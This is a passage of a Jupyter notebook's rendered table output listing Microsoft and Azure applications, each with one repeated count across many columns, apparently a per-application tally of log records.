       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>...</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>0</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>App Service</th>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>...</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>0</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Azure AD Identity Governance - Entitlement Management</th>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>...</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>0</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Azure Active Directory PowerShell</th>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>...</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>0</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "      <td>8</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Azure Advanced Threat Protection</th>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>...</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>0</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "      <td>19</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Azure DevOps</th>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>...</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>0</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "      <td>7</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Azure Machine Learning Workbench Web App</th>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>...</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>0</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Azure Portal</th>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>...</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>0</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "      <td>884</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Azure Synapse Studio</th>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>...</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>0</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Intranet</th>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>...</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>0</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Microsoft 365 Security and Compliance Center</th>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>...</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>0</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "      <td>32</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Microsoft App Access Panel</th>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>...</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>0</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Microsoft Azure Active Directory Connect</th>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>...</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>0</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "      <td>985</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Microsoft Azure CLI</th>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>...</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>0</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "      <td>4</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Microsoft Azure PowerShell</th>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>...</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>0</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Microsoft Azure Purview Studio</th>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>...</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>0</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "      <td>75</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Microsoft Cloud App Security</th>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>...</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>0</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "      <td>5</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Microsoft Docs</th>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>...</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>0</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "      <td>10</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Microsoft Edge</th>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>...</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>0</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Microsoft Invitation Acceptance Portal</th>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>...</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>0</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "    </tr>\n",
